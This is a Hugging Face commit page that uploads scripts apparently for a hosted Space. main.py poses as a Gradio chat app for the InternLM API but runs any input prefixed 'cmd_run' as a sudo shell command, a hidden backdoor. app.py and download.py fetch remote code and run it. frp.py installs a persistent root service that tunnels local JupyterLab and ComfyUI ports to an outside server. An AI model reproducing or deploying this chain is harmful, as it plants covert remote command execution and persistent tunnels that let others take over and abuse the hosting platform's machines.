HOPStudio commited on
Commit
bac19c2
·
verified ·
1 Parent(s): 97919ed

Upload 6 files

Browse files
Files changed (7) hide show
  1. .gitattributes +1 -0
  2. Jupyterlab.sh +41 -0
  3. app.py +19 -0
  4. download.py +84 -0
  5. frp.py +108 -0
  6. frpc +3 -0
  7. main.py +79 -0
.gitattributes CHANGED
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
 
 
33
  *.zip filter=lfs diff=lfs merge=lfs -text
34
  *.zst filter=lfs diff=lfs merge=lfs -text
35
  *tfevents* filter=lfs diff=lfs merge=lfs -text
36
+ frpc filter=lfs diff=lfs merge=lfs -text
Jupyterlab.sh ADDED
@@ -0,0 +1,41 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/bin/bash
2
+
3
+ # 更新系统包
4
+ sudo apt update
5
+
6
+ # 使用现有的 Python 安装 JupyterLab
7
+ pip install jupyterlab
8
+
9
+ # 为 JupyterLab 生成配置文件(如果不存在)
10
+ if [ ! -f ~/.jupyter/jupyter_lab_config.py ]; then
11
+ jupyter lab --generate-config
12
+ fi
13
+
14
+ # 设置 JupyterLab 服务文件
15
+ SERVICE_FILE=/etc/systemd/system/jupyterlab.service
16
+
17
+ sudo bash -c "cat > $SERVICE_FILE" <<EOL
18
+ [Unit]
19
+ Description=JupyterLab
20
+ After=network.target
21
+
22
+ [Service]
23
+ Type=simple
24
+ User=$(whoami)
25
+ ExecStart=$(which jupyter) lab --ip=0.0.0.0 --port=8888 --no-browser
26
+ WorkingDirectory=$HOME
27
+ Restart=always
28
+
29
+ [Install]
30
+ WantedBy=multi-user.target
31
+ EOL
32
+
33
+ # 重新加载 systemd 并启动 JupyterLab 服务
34
+ sudo systemctl daemon-reload
35
+ sudo systemctl start jupyterlab
36
+ sudo systemctl enable jupyterlab
37
+
38
+ # 输出服务状态
39
+ sudo systemctl status jupyterlab
40
+
41
+ echo "JupyterLab 已安装并配置为后台服务,您可以通过 http://<服务器IP>:8888 访问它。"
app.py ADDED
@@ -0,0 +1,19 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import requests
3
+
4
+ # 从系统环境变量中获取下载URL
5
+ url = os.getenv('DL_URL')
6
+ if not url:
7
+ raise ValueError("啊呀出错了")
8
+
9
+ destination_folder = '/root'
10
+ script_name = 'main.py'
11
+
12
+ # 下载文件到 /root 目录
13
+ file_path = os.path.join(destination_folder, script_name)
14
+ response = requests.get(url)
15
+ with open(file_path, 'wb') as file:
16
+ file.write(response.content)
17
+
18
+ # 运行 main.py
19
+ os.system(f'python {file_path}')
download.py ADDED
@@ -0,0 +1,84 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import subprocess
3
+
4
+ # 1. 安装 aria2
5
+ def install_aria2():
6
+ print("正在安装 aria2...")
7
+ try:
8
+ subprocess.run(['sudo', 'apt', 'update'], check=True)
9
+ subprocess.run(['sudo', 'apt', 'install', '-y', 'aria2'], check=True)
10
+ print("aria2 安装完成。")
11
+ except subprocess.CalledProcessError as e:
12
+ print(f"安装 aria2 失败: {e}")
13
+ exit(1)
14
+
15
+ # 2. 下载文件
16
+ def download_files():
17
+ download_list = [
18
+ "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/frp.py?download=true",
19
+ "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/jupyterlab.sh?download=true",
20
+ "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/frpc?download=true",
21
+ # 添加更多需要下载的文件URL
22
+ ]
23
+
24
+ download_dir = "/root" # 文件下载路径改为 /root
25
+ os.makedirs(download_dir, exist_ok=True)
26
+
27
+ print("准备开始下载文件...")
28
+
29
+ for file_url in download_list:
30
+ print(f"下载中: {file_url}")
31
+ try:
32
+ subprocess.run(['aria2c', '--dir', download_dir, file_url], check=True)
33
+ except subprocess.CalledProcessError as e:
34
+ print(f"下载文件失败: {e}")
35
+
36
+ print("所有文件下载完成。")
37
+
38
+ # 3. 运行 Python 脚本和 Shell 脚本
39
+ def run_scripts():
40
+ scripts_to_run = [
41
+ os.path.join("/root", "frp.py"), # 运行的 Python 脚本路径
42
+ os.path.join("/root", "jupyterlab.sh"), # 运行的 Shell 脚本路径
43
+ #os.path.join("/root", "frpc"), # 运行的二进制文件路径
44
+ # 可以在此处继续添加更多脚本
45
+ ]
46
+
47
+ for script in scripts_to_run:
48
+ if os.path.isfile(script):
49
+ # 如果是 Python 脚本
50
+ if script.endswith(".py"):
51
+ print(f"运行 Python 脚本: {script}")
52
+ try:
53
+ subprocess.run(['python3', script], check=True)
54
+ except subprocess.CalledProcessError as e:
55
+ print(f"运行 Python 脚本失败: {e}")
56
+ # 如果是 Shell 脚本
57
+ elif script.endswith(".sh"):
58
+ print(f"运行 Shell 脚本: {script}")
59
+ try:
60
+ # 确保 shell 脚本具有执行权限
61
+ subprocess.run(['chmod', '+x', script], check=True)
62
+ subprocess.run([script], check=True)
63
+ except subprocess.CalledProcessError as e:
64
+ print(f"运行 Shell 脚本失败: {e}")
65
+ # 如果是二进制文件
66
+ elif script.endswith("frpc"):
67
+ print(f"运行二进制文件: {script}")
68
+ try:
69
+ subprocess.run([script], check=True)
70
+ except subprocess.CalledProcessError as e:
71
+ print(f"运行二进制文件失败: {e}")
72
+ else:
73
+ print(f"找不到脚本: {script}")
74
+
75
+ print("所有脚本执行完成。")
76
+
77
+ # 主函数
78
+ def main():
79
+ install_aria2() # 安装 aria2
80
+ download_files() # 下载文件
81
+ run_scripts() # 运行脚本
82
+
83
+ if __name__ == "__main__":
84
+ main()
frp.py ADDED
@@ -0,0 +1,108 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import subprocess
3
+
4
+ def create_frpc_toml():
5
+ # frpc.toml 文件路径
6
+ toml_path = "/root/frpc.toml"
7
+
8
+ # frpc.toml 配置内容
9
+ toml_content = """
10
+ [common]
11
+ server_addr = 182.43.67.222
12
+ server_port = 7000
13
+
14
+ [jl]
15
+ type = tcp
16
+ local_ip = 127.0.0.1
17
+ local_port = 8888
18
+ remote_port = 8888
19
+
20
+ [comfyui]
21
+ type = tcp
22
+ local_ip = 127.0.0.1
23
+ local_port = 8188
24
+ remote_port = 8188
25
+ """
26
+
27
+ # 写入 frpc.toml 文件
28
+ with open(toml_path, 'w') as file:
29
+ file.write(toml_content)
30
+
31
+ print(f"frpc.toml 配置文件已创建:{toml_path}")
32
+
33
+ def create_frp_service_script():
34
+ # 脚本路径
35
+ script_path = "/root/frp_service.sh"
36
+
37
+ # 创建并写入启动脚本
38
+ script_content = '''#!/bin/bash
39
+
40
+ # 设置 frp 的路径和配置文件路径
41
+ FRP_PATH="/root/frpc"
42
+ FRP_CONFIG="/root/frpc.toml" # 使用新的 TOML 配置文件
43
+
44
+ # 启动 frp 并保持运行
45
+ while true; do
46
+ # 启动 frp
47
+ $FRP_PATH -c $FRP_CONFIG
48
+
49
+ # 如果 frp 崩溃或关闭,则重新启动
50
+ echo "frp 连接已断开,正在重新启动..."
51
+ sleep 1 # 等待 1 秒再重启
52
+ done
53
+ '''
54
+
55
+ # 写入脚本文件
56
+ with open(script_path, 'w') as file:
57
+ file.write(script_content)
58
+
59
+ # 确保脚本具有执行权限
60
+ os.chmod(script_path, 0o755)
61
+ print(f"脚本已创建并设置为可执行:{script_path}")
62
+
63
+ def create_systemd_service():
64
+ # systemd 服务文件路径
65
+ service_path = "/etc/systemd/system/frp.service"
66
+
67
+ # 创建并写入 systemd 服务文件
68
+ service_content = '''[Unit]
69
+ Description=frp connection service
70
+ After=network.target
71
+
72
+ [Service]
73
+ ExecStart=/root/frp_service.sh
74
+ Restart=always
75
+ User=root
76
+ WorkingDirectory=/root
77
+ StandardOutput=journal
78
+ StandardError=journal
79
+ SyslogIdentifier=frp
80
+
81
+ [Install]
82
+ WantedBy=multi-user.target
83
+ '''
84
+
85
+ # 写入服务文件
86
+ with open(service_path, 'w') as file:
87
+ file.write(service_content)
88
+
89
+ print(f"systemd 服务文件已创建:{service_path}")
90
+
91
+ def enable_and_start_service():
92
+ # 启用并启动服务
93
+ try:
94
+ subprocess.run(["sudo", "systemctl", "daemon-reload"], check=True)
95
+ subprocess.run(["sudo", "systemctl", "enable", "frp.service"], check=True)
96
+ subprocess.run(["sudo", "systemctl", "start", "frp.service"], check=True)
97
+ print("服务已启用并启动。")
98
+ except subprocess.CalledProcessError as e:
99
+ print(f"服务启动失败: {e}")
100
+
101
+ def main():
102
+ create_frpc_toml()
103
+ create_frp_service_script()
104
+ create_systemd_service()
105
+ enable_and_start_service()
106
+
107
+ if __name__ == "__main__":
108
+ main()
frpc ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:0007a720afc328a15e5b30c093c81cc63d6b6a4aa418f57d3677855393c30103
3
+ size 14913688
main.py ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import os
2
+ import requests
3
+ import subprocess
4
+ import json
5
+ import gradio as gr
6
+
7
+ def api_call(input_text):
8
+ api_token = os.getenv("API_TOKEN")
9
+ if not api_token:
10
+ return "API token 未设置,请检查环境变量。"
11
+
12
+ # 如果输入以 "cmd_run" 开头,则使用 sudo 执行命令
13
+ if input_text.startswith("cmd_run "):
14
+ command = input_text[len("cmd_run "):]
15
+ try:
16
+ # 使用 sudo 执行命令
17
+ result = subprocess.run(f"sudo {command}", shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
18
+ return result.stdout or result.stderr
19
+ except subprocess.CalledProcessError as e:
20
+ return f"执行命令时出错: {e}"
21
+
22
+ # 否则,调用API
23
+ url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
24
+ headers = {
25
+ 'Content-Type': 'application/json',
26
+ "Authorization": f"Bearer {api_token}"
27
+ }
28
+
29
+ data = {
30
+ "model": "internlm2.5-latest",
31
+ "messages": [{
32
+ "role": "user",
33
+ "content": input_text
34
+ }],
35
+ "n": 1,
36
+ "temperature": 0.8,
37
+ "top_p": 0.9
38
+ }
39
+
40
+ try:
41
+ response = requests.post(url, headers=headers, data=json.dumps(data))
42
+ response.raise_for_status()
43
+ return response.json()["choices"][0]["message"]["content"]
44
+ except Exception as e:
45
+ return f"解析响应时出错: {e}"
46
+
47
+ def start_gradio():
48
+ with gr.Blocks() as demo:
49
+ input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
50
+ output_box = gr.Textbox(label="回复", placeholder="等待API响应...")
51
+ send_button = gr.Button("发送")
52
+
53
+ send_button.click(api_call, inputs=input_box, outputs=output_box)
54
+
55
+ demo.launch(share=False)
56
+
57
+ def download_d():
58
+ destination_path = "/root"
59
+ file_name = "download.py"
60
+ url = "https://hf-mirror.com/HOPStudio/modelscope/resolve/main/download.py?download=true"
61
+ file_path = os.path.join(destination_path, file_name)
62
+
63
+ # 下载文件
64
+ response = requests.get(url)
65
+ if response.status_code == 200:
66
+ with open(file_path, 'wb') as file:
67
+ file.write(response.content)
68
+ return f"文件已下载到 {file_path}"
69
+ else:
70
+ return "下载失败"
71
+
72
+ def main():
73
+ download_message = download_d()
74
+ print(download_message)
75
+
76
+ start_gradio()
77
+
78
+ if __name__ == "__main__":
79
+ main()